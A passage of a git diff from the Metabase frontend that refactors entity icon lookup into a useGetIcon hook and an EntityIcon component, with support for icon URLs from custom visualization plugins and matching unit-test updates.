size_x: SCALAR_CARD_WIDTH,
diff --git a/frontend/src/metabase/dashboard/visualizations/LinkViz/EntityDisplay.tsx b/frontend/src/metabase/dashboard/visualizations/LinkViz/EntityDisplay.tsx
index b8eda1ed88d..2ffe0f14764 100644
--- a/frontend/src/metabase/dashboard/visualizations/LinkViz/EntityDisplay.tsx
+++ b/frontend/src/metabase/dashboard/visualizations/LinkViz/EntityDisplay.tsx
@@ -1,7 +1,9 @@
import { t } from "ttag";
+import { EntityIcon } from "metabase/common/components/EntityIcon";
import { Markdown } from "metabase/common/components/Markdown";
-import { getIcon } from "metabase/common/utils/icon";
+import type { IconData } from "metabase/common/utils/icon";
+import { useGetIcon } from "metabase/hooks/use-icon";
import { Icon } from "metabase/ui";
import { isEmpty } from "metabase/utils/validate";
import type { UnrestrictedLinkEntity } from "metabase-types/api";
@@ -19,10 +21,20 @@ export const EntityDisplay = ({
entity: UnrestrictedLinkEntity;
showDescription?: boolean;
}) => {
+ const getIcon = useGetIcon();
+
+ const getSearchIcon = (entity: UnrestrictedLinkEntity): IconData => {
+ const entityIcon = getIcon(entity) ?? { name: "link" as const };
+ if (entity.model === "table") {
+ entityIcon.name = "database";
+ }
+ return entityIcon;
+ };
+
return (
<EntityDisplayContainer>
<LeftContainer>
- <Icon c="brand" name={getSearchIconName(entity)} />
+ <EntityIcon color="brand" {...getSearchIcon(entity)} />
<EllipsifiedEntityContainer>{entity?.name}</EllipsifiedEntityContainer>
</LeftContainer>
{showDescription && entity?.description && (
@@ -64,14 +76,3 @@ export const UrlLinkDisplay = ({ url }: { url?: string }) => {
</EntityDisplayContainer>
);
};
-
-function getSearchIconName(entity: UnrestrictedLinkEntity) {
- const entityIcon = getIcon(entity) ?? { name: "link" };
-
- // we need to change this icon to make it match the icon in the search results
- if (entity.model === "table") {
- entityIcon.name = "database";
- }
-
- return entityIcon.name;
-}
diff --git a/frontend/src/metabase/documents/components/Editor/shared/MenuComponents.tsx b/frontend/src/metabase/documents/components/Editor/shared/MenuComponents.tsx
index 1cce09558d3..e2b75e042b7 100644
--- a/frontend/src/metabase/documents/components/Editor/shared/MenuComponents.tsx
+++ b/frontend/src/metabase/documents/components/Editor/shared/MenuComponents.tsx
@@ -1,6 +1,7 @@
import type { DOMAttributes, MouseEvent } from "react";
import { t } from "ttag";
+import { EntityIcon } from "metabase/common/components/EntityIcon";
import { MetabotIcon } from "metabase/metabot/components/MetabotIcon";
import { useMetabotName } from "metabase/metabot/hooks";
import type { SuggestionModel } from "metabase/rich_text_editing/tiptap/extensions/shared/types";
@@ -24,6 +25,7 @@ interface ExtraItemProps extends DOMAttributes<HTMLButtonElement> {
export interface MenuItem {
icon: IconName;
+ iconUrl?: string;
iconColor?: ColorName;
label: string;
description?: string;
@@ -55,7 +57,12 @@ export const MenuItemComponent = ({
{item.model === "user" && <Avatar name={item.label} size={16} />}
{item.model !== "user" && (
- <Icon name={item.icon} size={16} c={item.iconColor || "inherit"} />
+ <EntityIcon
+ name={item.icon}
+ iconUrl={item.iconUrl}
+ size="1rem"
+ color={item.iconColor || "inherit"}
+ />
)}
<Stack gap={2} className={S.menuItemStack}>
diff --git a/frontend/src/metabase/documents/components/EmbedQuestionSettingsSidebar.tsx b/frontend/src/metabase/documents/components/EmbedQuestionSettingsSidebar.tsx
index 8ae769b9ac9..6dd0a7b4ab5 100644
--- a/frontend/src/metabase/documents/components/EmbedQuestionSettingsSidebar.tsx
+++ b/frontend/src/metabase/documents/components/EmbedQuestionSettingsSidebar.tsx
@@ -2,6 +2,7 @@ import type { Editor } from "@tiptap/react";
import { useCallback } from "react";
import { t } from "ttag";
+import { EntityIcon } from "metabase/common/components/EntityIcon";
import { useDispatch, useSelector } from "metabase/redux";
import {
ActionIcon,
@@ -16,7 +17,7 @@ import {
} from "metabase/ui";
import { QuestionChartSettings } from "metabase/visualizations/components/ChartSettings";
import type {
- CardDisplayType,
+ VisualizationDisplay,
VisualizationSettings,
} from "metabase-types/api";
@@ -55,7 +56,7 @@ export const EmbedQuestionSettingsSidebar = ({
} = useCardData({ id: cardId });
const { sensibleItems, nonsensibleItems, selectedElem } =
- useVisualizationOptions(dataset, card?.display as CardDisplayType);
+ useVisualizationOptions(dataset, card?.display);
const { ensureDraftCard } = useDraftCardOperations(
draftCard,
@@ -85,7 +86,7 @@ export const EmbedQuestionSettingsSidebar = ({
}
};
- const handleVisualizationTypeChange = (display: CardDisplayType) => {
+ const handleVisualizationTypeChange = (display: VisualizationDisplay) => {
if (selectedEmbedIndex !== null) {
if (!draftCard) {
const actualCardId = ensureDraftCard({ display }, true);
@@ -134,8 +135,11 @@ export const EmbedQuestionSettingsSidebar = ({
disabled={!selectedElem}
rightSection={<Icon ml="xs" size={10} name="chevrondown" />}
leftSection={
- selectedElem?.iconName ? (
- <Icon name={selectedElem.iconName} />
+ selectedElem?.iconName || selectedElem?.iconUrl ? (
+ <EntityIcon
+ name={selectedElem.iconName ?? undefined}
+ iconUrl={selectedElem.iconUrl}
+ />
) : null
}
justify="space-between"
@@ -144,26 +148,40 @@ export const EmbedQuestionSettingsSidebar = ({
</Button>
</Menu.Target>
<Menu.Dropdown>
- {sensibleItems.map(({ iconName, label, value }, index) => (
- <Menu.Item
- key={`${value}/${index}`}
- onClick={() => handleVisualizationTypeChange(value)}
- leftSection={iconName ? <Icon name={iconName} /> : null}
- >
- {label}
- </Menu.Item>
- ))}
+ {sensibleItems.map(
+ ({ iconName, iconUrl, label, value }, index) => (
+ <Menu.Item
+ key={`${value}/${index}`}
+ onClick={() => handleVisualizationTypeChange(value)}
+ leftSection={
+ iconName || iconUrl ? (
+ <EntityIcon
+ name={iconName ?? undefined}
+ iconUrl={iconUrl}
+ />
+ ) : null
+ }
+ >
+ {label}
+ </Menu.Item>
+ ),
+ )}
{nonsensibleItems.length > 0 && (
<>
<Menu.Label>{t`More charts`}</Menu.Label>
{nonsensibleItems.map(
- ({ iconName, label, value }, index) => (
+ ({ iconName, iconUrl, label, value }, index) => (
<Menu.Item
key={`${value}/${index}`}
onClick={() => handleVisualizationTypeChange(value)}
leftSection={
- iconName ? <Icon name={iconName} /> : null
+ iconName || iconUrl ? (
+ <EntityIcon
+ name={iconName ?? undefined}
+ iconUrl={iconUrl}
+ />
+ ) : null
}
>
{label}
diff --git a/frontend/src/metabase/documents/documents.slice.ts b/frontend/src/metabase/documents/documents.slice.ts
index 3d6eae5bfbf..2c31e56c5e3 100644
--- a/frontend/src/metabase/documents/documents.slice.ts
+++ b/frontend/src/metabase/documents/documents.slice.ts
@@ -13,8 +13,8 @@ import type {
} from "metabase/redux/store/documents";
import type {
Card,
- CardDisplayType,
Document,
+ VisualizationDisplay,
VisualizationSettings,
} from "metabase-types/api";
@@ -70,7 +70,7 @@ const documentsSlice = createSlice({
},
updateVisualizationType: (
state,
- action: PayloadAction<{ cardId: number; display: CardDisplayType }>,
+ action: PayloadAction<{ cardId: number; display: VisualizationDisplay }>,
) => {
const { cardId, display } = action.payload;
if (state.draftCards[cardId]) {
diff --git a/frontend/src/metabase/documents/utils/visualizationUtils.ts b/frontend/src/metabase/documents/utils/visualizationUtils.ts
index 40b1759fba4..41f925d4d09 100644
--- a/frontend/src/metabase/documents/utils/visualizationUtils.ts
+++ b/frontend/src/metabase/documents/utils/visualizationUtils.ts
@@ -4,19 +4,20 @@ import { getSensibleVisualizations } from "metabase/query_builder/components/cha
import type { IconName } from "metabase/ui";
import { isNotNull } from "metabase/utils/types";
import visualizations from "metabase/visualizations";
-import type { CardDisplayType, Dataset } from "metabase-types/api";
+import type { Dataset, VisualizationDisplay } from "metabase-types/api";
export interface VisualizationItem {
- value: CardDisplayType;
+ value: VisualizationDisplay;
label: string;
iconName: IconName | null;
+ iconUrl?: string;
}
/**
* Converts a visualization type to a visualization item with label and icon
*/
export function getVisualizationItem(
- visualizationType: CardDisplayType,
+ visualizationType: VisualizationDisplay,
): VisualizationItem | null {
const visualization = visualizations.get(visualizationType);
if (!visualization) {
@@ -27,6 +28,7 @@ export function getVisualizationItem(
value: visualizationType,
label: visualization.getUiName(),
iconName: visualization.iconName,
+ iconUrl: visualization.iconUrl,
};
}
@@ -36,7 +38,7 @@ export function getVisualizationItem(
*/
export function useVisualizationOptions(
dataset: Dataset | null | undefined,
- currentDisplay?: CardDisplayType,
+ currentDisplay?: VisualizationDisplay,
) {
const { sensibleVisualizations, nonSensibleVisualizations } = useMemo(() => {
return getSensibleVisualizations({ result: dataset ?? null });
diff --git a/frontend/src/metabase/entities/questions.js b/frontend/src/metabase/entities/questions.js
index 346cadfbab5..c761100fbd4 100644
--- a/frontend/src/metabase/entities/questions.js
+++ b/frontend/src/metabase/entities/questions.js
@@ -119,6 +119,7 @@ export const Questions = createEntity({
"collection_preview",
"result_metadata",
"delete_old_dashcards",
+ "size",
],
getAnalyticsMetadata([object], { action }, getState) {
diff --git a/frontend/src/metabase/home/components/HomeModelCard/HomeModelCard.styled.tsx b/frontend/src/metabase/home/components/HomeModelCard/HomeModelCard.styled.tsx
index c2497a02262..042d85279fa 100644
--- a/frontend/src/metabase/home/components/HomeModelCard/HomeModelCard.styled.tsx
+++ b/frontend/src/metabase/home/components/HomeModelCard/HomeModelCard.styled.tsx
@@ -1,13 +1,7 @@
// eslint-disable-next-line no-restricted-imports
import styled from "@emotion/styled";
-import { Ellipsified, Icon } from "metabase/ui";
-
-export const CardIcon = styled(Icon)`
- display: block;
- flex: 0 0 auto;
- color: var(--mb-color-brand);
-`;
+import { Ellipsified } from "metabase/ui";
export const CardTitle = styled(Ellipsified)`
color: var(--mb-color-text-primary);
diff --git a/frontend/src/metabase/home/components/HomeModelCard/HomeModelCard.tsx b/frontend/src/metabase/home/components/HomeModelCard/HomeModelCard.tsx
index 3395ec8b064..8ea05e2d593 100644
--- a/frontend/src/metabase/home/components/HomeModelCard/HomeModelCard.tsx
+++ b/frontend/src/metabase/home/components/HomeModelCard/HomeModelCard.tsx
@@ -1,19 +1,16 @@
-import type { IconName } from "metabase/ui";
+import { EntityIcon } from "metabase/common/components/EntityIcon";
+import type { IconData } from "metabase/common/utils/icon";
import { HomeCard } from "../HomeCard";
-import { CardIcon, CardTitle } from "./HomeModelCard.styled";
+import { CardTitle } from "./HomeModelCard.styled";
interface HomeModelCardProps {
title: string;
- icon: HomeModelIconProps;
+ icon: IconData;
url: string;
}
-export interface HomeModelIconProps {
- name: IconName;
-}
-
export const HomeModelCard = ({
title,
icon,
@@ -21,7 +18,11 @@ export const HomeModelCard = ({
}: HomeModelCardProps): JSX.Element => {
return (
<HomeCard url={url}>
- <CardIcon {...icon} />
+ <EntityIcon
+ {...icon}
+ color="brand"
+ style={{ display: "block", flex: "0 0 auto" }}
+ />
<CardTitle>{title}</CardTitle>
</HomeCard>
);
diff --git a/frontend/src/metabase/home/components/HomeModelCard/HomeModelCard.unit.spec.tsx b/frontend/src/metabase/home/components/HomeModelCard/HomeModelCard.unit.spec.tsx
index fd9aac3f3fb..dde2838868a 100644
--- a/frontend/src/metabase/home/components/HomeModelCard/HomeModelCard.unit.spec.tsx
+++ b/frontend/src/metabase/home/components/HomeModelCard/HomeModelCard.unit.spec.tsx
@@ -1,11 +1,11 @@
import { render, screen } from "__support__/ui";
+import type { IconData } from "metabase/common/utils/icon";
-import type { HomeModelIconProps } from "./HomeModelCard";
import { HomeModelCard } from "./HomeModelCard";
interface SetupOpts {
title: string;
- icon: HomeModelIconProps;
+ icon: IconData;
url: string;
}
diff --git a/frontend/src/metabase/home/components/HomePopularSection/HomePopularSection.tsx b/frontend/src/metabase/home/components/HomePopularSection/HomePopularSection.tsx
index 40684ebda93..50f9c075ec1 100644
--- a/frontend/src/metabase/home/components/HomePopularSection/HomePopularSection.tsx
+++ b/frontend/src/metabase/home/components/HomePopularSection/HomePopularSection.tsx
@@ -3,7 +3,7 @@ import _ from "underscore";
import { useListPopularItemsQuery } from "metabase/api";
import { LoadingAndErrorWrapper } from "metabase/common/components/LoadingAndErrorWrapper";
-import { getIcon } from "metabase/common/utils/icon";
+import { useGetIcon } from "metabase/hooks/use-icon";
import * as Urls from "metabase/urls";
import { getName } from "metabase/utils/name";
import type { PopularItem } from "metabase-types/api";
@@ -15,6 +15,7 @@ import { HomeModelCard } from "../HomeModelCard";
import S from "./HomePopularSection.module.css";
export const HomePopularSection = (): JSX.Element => {
+ const getIcon = useGetIcon();
const {
data: popularItems = [],
isLoading,
diff --git a/frontend/src/metabase/home/components/HomeRecentSection/HomeRecentSection.tsx b/frontend/src/metabase/home/components/HomeRecentSection/HomeRecentSection.tsx
index d409a6c6478..f8a3b6a0cbc 100644
--- a/frontend/src/metabase/home/components/HomeRecentSection/HomeRecentSection.tsx
+++ b/frontend/src/metabase/home/components/HomeRecentSection/HomeRecentSection.tsx
@@ -2,7 +2,7 @@ import { t } from "ttag";
import { useListRecentsQuery } from "metabase/api";
import { LoadingAndErrorWrapper } from "metabase/common/components/LoadingAndErrorWrapper";
-import { getIcon } from "metabase/common/utils/icon";
+import { useGetIcon } from "metabase/hooks/use-icon";
import { useSelector } from "metabase/redux";
import { getUser } from "metabase/selectors/user";
import * as Urls from "metabase/urls";
@@ -17,6 +17,7 @@ import { HomeModelCard } from "../HomeModelCard";
import S from "./HomeRecentSection.module.css";
export const HomeRecentSection = () => {
+ const getIcon = useGetIcon();
const { data: recentItems = [], isLoading, error } = useListRecentsQuery();
const user = useSelector(getUser);
const hasHelpCard =
diff --git a/frontend/src/metabase/hooks/use-icon.ts b/frontend/src/metabase/hooks/use-icon.ts
new file mode 100644
index 00000000000..d29ee3a0523
--- /dev/null
+++ b/frontend/src/metabase/hooks/use-icon.ts
@@ -0,0 +1,78 @@
+import { useCallback } from "react";
+
+import type { IconData, ObjectWithModel } from "metabase/common/utils/icon";
+import { modelIconMap } from "metabase/common/utils/icon";
+import { getLibraryCollectionType } from "metabase/data-studio/utils";
+import { PERSONAL_COLLECTIONS } from "metabase/entities/collections/constants";
+import { PLUGIN_COLLECTIONS, PLUGIN_CUSTOM_VIZ } from "metabase/plugins";
+import { getIconForVisualizationType } from "metabase/visualizations";
+import type { CollectionType, VisualizationDisplay } from "metabase-types/api";
+
+export const useGetIconForVisualizationType = () => {
+ const getCustomVizIcon = PLUGIN_CUSTOM_VIZ.useCustomVizPluginsIcon();
+
+ return useCallback(
+ (display: VisualizationDisplay): IconData => {
+ if (PLUGIN_CUSTOM_VIZ.isCustomVizDisplay(display)) {
+ const { icon, isLoading } = getCustomVizIcon(display);
+ if (isLoading || !icon) {
+ return { name: "unknown" };
+ }
+ return icon;
+ }
+ return getIconForVisualizationType(display);
+ },
+ [getCustomVizIcon],
+ );
+};
+
+export const useGetIconBase = () => {
+ const getIconForVizType = useGetIconForVisualizationType();
+
+ return useCallback(
+ /** get an Icon for any entity object, doesn't depend on the entity system */
+ (item: ObjectWithModel, _opts?: { isTenantUser?: boolean }): IconData => {
+ if (item.model === "card" && item.display) {
+ return getIconForVizType(item.display);
+ }
+
+ if (item.model === "collection" && item.id === PERSONAL_COLLECTIONS.id) {
+ return { name: "group" };
+ }
+
+ if (
+ item.model === "collection" &&
+ item.is_personal &&
+ item.location === "/"
+ ) {
+ return { name: "person" };
+ }
+
+ if (item.model === "collection" && item.id === "databases") {
+ return { name: "database" };
+ }
+
+ if (item.model === "collection") {
+ switch (
+ getLibraryCollectionType(item.type as unknown as CollectionType)
+ ) {
+ case "root":
+ return { name: "repository" };
+ case "data":
+ return { name: "table" };
+ case "metrics":
+ return { name: "metric" };
+ }
+ }
+
+ return { name: modelIconMap?.[item.model] ?? "unknown" };
+ },
+ [getIconForVizType],
+ );
+};
+
+/**
+ * relies mainly on the `model` property to determine the icon to return
+ * also handle special collection icons and visualization types for cards
+ */
+export const useGetIcon = () => PLUGIN_COLLECTIONS.useGetIcon();
diff --git a/frontend/src/metabase/common/utils/icon.unit.spec.ts b/frontend/src/metabase/hooks/use-icon.unit.spec.ts
similarity index 75%
rename from frontend/src/metabase/common/utils/icon.unit.spec.ts
rename to frontend/src/metabase/hooks/use-icon.unit.spec.ts
index 3a3d8221ed2..610e6c13629 100644
--- a/frontend/src/metabase/common/utils/icon.unit.spec.ts
+++ b/frontend/src/metabase/hooks/use-icon.unit.spec.ts
@@ -1,113 +1,144 @@
+import { renderHook } from "@testing-library/react";
+
import register from "metabase/visualizations/register";
-import { getIcon } from "./icon";
+import { useGetIcon } from "./use-icon";
-describe("getIcon", () => {
+describe("useGetIcon", () => {
beforeAll(() => {
- // visualizations are weird and we have to register them before we can use them
register();
});
+ const createGetIcon = () => {
+ const { result } = renderHook(() => useGetIcon());
+ return result.current;
+ };
+
it("should return the correct icon for a collection", () => {
+ const getIcon = createGetIcon();
expect(getIcon({ model: "collection" })).toEqual({ name: "folder" });
});
it("should return the correct icon for a database", () => {
+ const getIcon = createGetIcon();
expect(getIcon({ model: "database" })).toEqual({ name: "database" });
});
it("should return the correct icon for a schema", () => {
+ const getIcon = createGetIcon();
expect(getIcon({ model: "schema" })).toEqual({ name: "folder_database" });
});
it("should return the correct icon for a table", () => {
+ const getIcon = createGetIcon();
expect(getIcon({ model: "table" })).toEqual({ name: "table" });
});
it("should return the correct icon for a model/dataset", () => {
+ const getIcon = createGetIcon();
expect(getIcon({ model: "dataset" })).toEqual({ name: "model" });
});
it("should return the correct icon for an action", () => {
+ const getIcon = createGetIcon();
expect(getIcon({ model: "action" })).toEqual({ name: "bolt" });
});
it("should return the correct icon for an indexed entity", () => {
+ const getIcon = createGetIcon();
expect(getIcon({ model: "indexed-entity" })).toEqual({ name: "index" });
});
it("should return the correct icon for a python library", () => {
- expect(getIcon({ model: "pythonlibrary" })).toEqual({ name: "code_block" });
+ const getIcon = createGetIcon();
+ expect(getIcon({ model: "pythonlibrary" })).toEqual({
+ name: "code_block",
+ });
});
it("should return the correct icon for a dashboard", () => {
+ const getIcon = createGetIcon();
expect(getIcon({ model: "dashboard" })).toEqual({ name: "dashboard" });
});
it("should return the correct icon for a card without a display type", () => {
+ const getIcon = createGetIcon();
expect(getIcon({ model: "card" })).toEqual({ name: "table2" });
});
it("should return the default icon for an invalid model", () => {
+ const getIcon = createGetIcon();
// @ts-expect-error testing invalid model
expect(getIcon({ model: "pikachu" })).toEqual({ name: "unknown" });
});
describe("card display types", () => {
it("should return the default icon for an invalid display type", () => {
- // @ts-expect-error testing invalid display type
- expect(getIcon({ model: "card", display: "pikachu" })).toEqual({
+ const getIcon = createGetIcon();
+ expect(
+ // @ts-expect-error testing invalid display type
+ getIcon({ model: "card", display: "pikachu" }),
+ ).toEqual({
name: "table2",
});
});
it("should return the default icon for no display type", () => {
+ const getIcon = createGetIcon();
expect(getIcon({ model: "card" })).toEqual({ name: "table2" });
});
it("should return the correct icon for a card with a table chart", () => {
+ const getIcon = createGetIcon();
expect(getIcon({ model: "card", display: "table" })).toEqual({
name: "table2",
});
});
it("should return the correct icon for a card with a bar chart", () => {
+ const getIcon = createGetIcon();
expect(getIcon({ model: "card", display: "bar" })).toEqual({
name: "bar",
});
});
it("should return the correct icon for a card with a pie chart", () => {
+ const getIcon = createGetIcon();
expect(getIcon({ model: "card", display: "pie" })).toEqual({
name: "pie",
});
});
it("should return the correct icon for a card with a line chart", () => {
+ const getIcon = createGetIcon();
expect(getIcon({ model: "card", display: "line" })).toEqual({
name: "line",
});
});
it("should return the correct icon for a card with a row chart", () => {
+ const getIcon = createGetIcon();
expect(getIcon({ model: "card", display: "row" })).toEqual({
name: "horizontal_bar",
});
});
it("should return the correct icon for a card with a funnel chart", () => {
+ const getIcon = createGetIcon();
expect(getIcon({ model: "card", display: "funnel" })).toEqual({
name: "funnel",
});
});
it("should return the correct icon for a card with a map chart", () => {
+ const getIcon = createGetIcon();
expect(getIcon({ model: "card", display: "map" })).toEqual({
name: "pinmap",
});
});
it("should return the correct icon for a personal collection root", () => {
+ const getIcon = createGetIcon();
expect(
getIcon({ model: "collection", is_personal: true, location: "/" }),
).toEqual({
@@ -116,6 +147,7 @@ describe("getIcon", () => {
});
it("should return the correct icon for a nested personal collection", () => {
+ const getIcon = createGetIcon();
expect(
getIcon({
model: "collection",
@@ -128,12 +160,14 @@ describe("getIcon", () => {
});
it("should return the correct icon for all personal collections", () => {
+ const getIcon = createGetIcon();
expect(getIcon({ model: "collection", id: "personal" })).toEqual({
name: "group",
});
});
it("should return the correct icon for a card with an object detail chart", () => {
+ const getIcon = createGetIcon();
expect(getIcon({ model: "card", display: "object" })).toEqual({
name: "document",
});
diff --git a/frontend/src/metabase/metabot/components/AIMarkdown/components/MarkdownSmartLink.tsx b/frontend/src/metabase/metabot/components/AIMarkdown/components/MarkdownSmartLink.tsx
index 9e347a5894c..7ed036b78c2 100644
--- a/frontend/src/metabase/metabot/components/AIMarkdown/components/MarkdownSmartLink.tsx
+++ b/frontend/src/metabase/metabot/components/AIMarkdown/components/MarkdownSmartLink.tsx
@@ -1,10 +1,10 @@
import { match } from "ts-pattern";
-import { getIcon } from "metabase/common/utils/icon";
+import { EntityIcon } from "metabase/common/components/EntityIcon";
+import { useGetIcon } from "metabase/hooks/use-icon";
import type { MetabaseProtocolEntityModel } from "metabase/metabot/utils/links";
import { useEntityData } from "metabase/rich_text_editing/tiptap/extensions/SmartLink/SmartLinkNode";
import { entityToUrlableModel } from "metabase/rich_text_editing/tiptap/extensions/shared/suggestionUtils";
-import { Icon } from "metabase/ui";
import { modelToUrl } from "metabase/urls";
import S from "../AIMarkdown.module.css";
@@ -22,6 +22,7 @@ export const MarkdownSmartLink = ({
name: string;
model: MetabaseProtocolEntityModel;
}) => {
+ const getIcon = useGetIcon();
const entityModel = match(model)
.with("model", () => "dataset" as const)
.with("question", () => "card" as const)
@@ -44,7 +45,7 @@ export const MarkdownSmartLink = ({
className={S.smartLink}
>
<span className={S.smartLinkInner}>
- <Icon name={icon.name} className={S.icon} />
+ <EntityIcon {...icon} className={S.icon} />
{name}
</span>
</InternalLink>
diff --git a/frontend/src/metabase/metabot/utils/chart-analysis.ts b/frontend/src/metabase/metabot/utils/chart-analysis.ts
index 90a3b4cd8de..ca80567bb14 100644
--- a/frontend/src/metabase/metabot/utils/chart-analysis.ts
+++ b/frontend/src/metabase/metabot/utils/chart-analysis.ts
@@ -1,4 +1,8 @@
-import type { VisualizationDisplay } from "metabase-types/api";
+import type {
+ CustomVizDisplayType,
+ VisualizationDisplay,
+} from "metabase-types/api";
+import { isCustomVizDisplay } from "metabase-types/guards";
const CHART_ANALYSIS_ENABLED = {
// enabled
@@ -29,7 +33,9 @@ const CHART_ANALYSIS_ENABLED = {
table: false,
text: false,
list: false,
-} as const satisfies { [display in VisualizationDisplay]: boolean };
+} as const satisfies {
+ [display in Exclude<VisualizationDisplay, CustomVizDisplayType>]: boolean;
+};
type EnabledChartTypes = {
[K in keyof typeof CHART_ANALYSIS_ENABLED]: (typeof CHART_ANALYSIS_ENABLED)[K] extends true
@@ -60,5 +66,7 @@ export const CHART_ANALYSIS_RENDER_FORMATS = {
} as const satisfies { [display in EnabledChartTypes]: "png" | "svg" | "none" };
export const canAnalyzeQuestion = (display: VisualizationDisplay) => {
- return CHART_ANALYSIS_ENABLED[display] ?? false;
+ return isCustomVizDisplay(display)
+ ? false
+ : (CHART_ANALYSIS_ENABLED[display] ?? false);
};
diff --git a/frontend/src/metabase/nav/containers/MainNavbar/MainNavbarContainer/BookmarkList/BookmarkList.tsx b/frontend/src/metabase/nav/containers/MainNavbar/MainNavbarContainer/BookmarkList/BookmarkList.tsx
index a810c675b42..d5afe4fd83a 100644
--- a/frontend/src/metabase/nav/containers/MainNavbar/MainNavbarContainer/BookmarkList/BookmarkList.tsx
+++ b/frontend/src/metabase/nav/containers/MainNavbar/MainNavbarContainer/BookmarkList/BookmarkList.tsx
@@ -13,9 +13,9 @@ import { t } from "ttag";
import { CollapseSection } from "metabase/common/components/CollapseSection";
import { Sortable } from "metabase/common/components/Sortable";
-import { getIcon } from "metabase/common/utils/icon";
import GrabberS from "metabase/css/components/grabber.module.css";
import { Bookmarks } from "metabase/entities/bookmarks";
+import { useGetIcon } from "metabase/hooks/use-icon";
import { PLUGIN_COLLECTIONS } from "metabase/plugins";
import { connect, useSelector } from "metabase/redux";
import { getIsTenantUser } from "metabase/selectors/user";
@@ -81,6 +81,7 @@ const BookmarkItem = ({
onSelect,
onDeleteBookmark,
}: BookmarkItemProps) => {
+ const getIcon = useGetIcon();
const isSelected = isBookmarkSelected(bookmark, selectedItem);
const url = Urls.bookmark(bookmark);
const isTenantUser = useSelector(getIsTenantUser);
diff --git a/frontend/src/metabase/nav/containers/MainNavbar/SidebarItems/SidebarLink.tsx b/frontend/src/metabase/nav/containers/MainNavbar/SidebarItems/SidebarLink.tsx
index b93439d76a2..fcea6bf33bd 100644
--- a/frontend/src/metabase/nav/containers/MainNavbar/SidebarItems/SidebarLink.tsx
+++ b/frontend/src/metabase/nav/containers/MainNavbar/SidebarItems/SidebarLink.tsx
@@ -2,7 +2,9 @@ import type { MouseEvent, ReactNode } from "react";
import { isValidElement, useCallback, useMemo } from "react";
import _ from "underscore";
+import { EntityIcon } from "metabase/common/components/EntityIcon";
import { TreeNode } from "metabase/common/components/tree/TreeNode";
+import type { IconData } from "metabase/common/utils/icon";
import type { IconName, IconProps } from "metabase/ui";
import {
@@ -19,7 +21,7 @@ import {
interface SidebarLinkProps {
children: string;
url?: string;
- icon?: IconName | IconProps;
+ icon?: IconName | IconProps | IconData;
isSelected?: boolean;
hasDefaultIconStyle?: boolean;
left?: ReactNode;
@@ -31,7 +33,9 @@ type ContentProps = {
children: ReactNode;
};
-function isIconPropsObject(icon: string | IconProps): icon is IconProps {
+function isIconPropsObject(
+ icon: string | IconProps | IconData,
+): icon is IconProps | IconData {
return _.isObject(icon);
}
@@ -62,9 +66,20 @@ function SidebarLink({
return icon;
}
const iconProps = isIconPropsObject(icon) ? icon : { name: icon };
+ const hasIconUrl = "iconUrl" in iconProps && iconProps.iconUrl;
+
return (
<TreeNode.IconContainer transparent={false}>
- <SidebarIcon {...iconProps} isSelected={isSelected} />
+ {hasIconUrl ? (
+ <EntityIcon
+ name={iconProps.name}
+ iconUrl={iconProps.iconUrl}
+ size="1rem"
+ color="brand"
+ />
+ ) : (
+ <SidebarIcon {...iconProps} isSelected={isSelected} />
+ )}
</TreeNode.IconContainer>
);
}, [icon, isSelected]);
diff --git a/frontend/src/metabase/palette/components/PaletteResultItem.tsx b/frontend/src/metabase/palette/components/PaletteResultItem.tsx
index 982b58bba18..637d52db838 100644
--- a/frontend/src/metabase/palette/components/PaletteResultItem.tsx
+++ b/frontend/src/metabase/palette/components/PaletteResultItem.tsx
@@ -1,7 +1,8 @@
+import { EntityIcon } from "metabase/common/components/EntityIcon";
import { ExternalLink } from "metabase/common/components/ExternalLink";
import { Link } from "metabase/common/components/Link";
import { PLUGIN_MODERATION } from "metabase/plugins";
-import { Box, Flex, Group, Icon, Stack, Text } from "metabase/ui";
+import { Box, Flex, Group, Stack, Text } from "metabase/ui";
import type { PaletteActionImpl } from "../types";
import {
@@ -39,8 +40,9 @@ export const PaletteResultItem = ({ item, active }: PaletteResultItemProps) => {
wrap="nowrap"
>
{icon && (
- <Icon
+ <EntityIcon
{...icon}
+ iconUrl={item.iconUrl}
style={{
flexBasis: "16px",
}}
diff --git a/frontend/src/metabase/palette/hooks/useCommandPalette.tsx b/frontend/src/metabase/palette/hooks/useCommandPalette.tsx
index d8c8e4ab50c..75de7909312 100644
--- a/frontend/src/metabase/palette/hooks/useCommandPalette.tsx
+++ b/frontend/src/metabase/palette/hooks/useCommandPalette.tsx
@@ -8,9 +8,9 @@ import { useListRecentsQuery, useSearchQuery } from "metabase/api";
import { getCollection } from "metabase/collections/utils";
import type { OmniPickerItem } from "metabase/common/components/Pickers";
import { useSetting } from "metabase/common/hooks";
-import { getIcon } from "metabase/common/utils/icon";
import { ROOT_COLLECTION } from "metabase/entities/collections/constants";
import { Search } from "metabase/entities/search";
+import { useGetIcon } from "metabase/hooks/use-icon";
import { useDispatch, useSelector } from "metabase/redux";
import { trackSearchClick } from "metabase/search/analytics";
import {
@@ -42,6 +42,7 @@ export const useCommandPalette = ({
disabled: boolean;
locationQuery: Query;
}) => {
+ const getIcon = useGetIcon();
const dispatch = useDispatch();
const docsUrl = useSelector((state) => getDocsUrl(state, {}));
const showMetabaseLinks = useSelector(getShowMetabaseLinks);
@@ -186,6 +187,7 @@ export const useCommandPalette = ({
name: result.name,
subtitle: result.description || "",
icon: icon.name,
+ iconUrl: icon.iconUrl,
section: "search",
keywords: debouncedSearchText,
priority: Priority.NORMAL - index,
@@ -233,6 +235,7 @@ export const useCommandPalette = ({
locationQuery,
isSearchTypeaheadEnabled,
searchRequestId,
+ getIcon,
]);
useRegisterActions(searchResultActions, [searchResultActions]);
@@ -249,6 +252,7 @@ export const useCommandPalette = ({
id: `recent-item-${getName(item)}-${item.model}-${item.id}`,
name: getName(item),
icon: icon.name,
+ iconUrl: icon.iconUrl,
section: "recent",
perform: () => {},
extra: {
@@ -262,7 +266,7 @@ export const useCommandPalette = ({
};
}) || []
);
- }, [disabled, recentItems]);
+ }, [disabled, recentItems, getIcon]);
useRegisterActions(hasQuery ? [] : recentItemsActions, [
recentItemsActions,
diff --git a/frontend/src/metabase/palette/types.ts b/frontend/src/metabase/palette/types.ts
index d4a4571370a..5552dc4ede5 100644
--- a/frontend/src/metabase/palette/types.ts
+++ b/frontend/src/metabase/palette/types.ts
@@ -29,12 +29,14 @@ export type PaletteAction = Action &
PaletteActionExtras & {
subtitle?: Action["subtitle"];
icon?: IconName;
+ iconUrl?: string;
};
export type PaletteActionImpl = ActionImpl &
PaletteActionExtras & {
subtitle?: Action["subtitle"];
icon?: IconName;
+ iconUrl?: string;
};
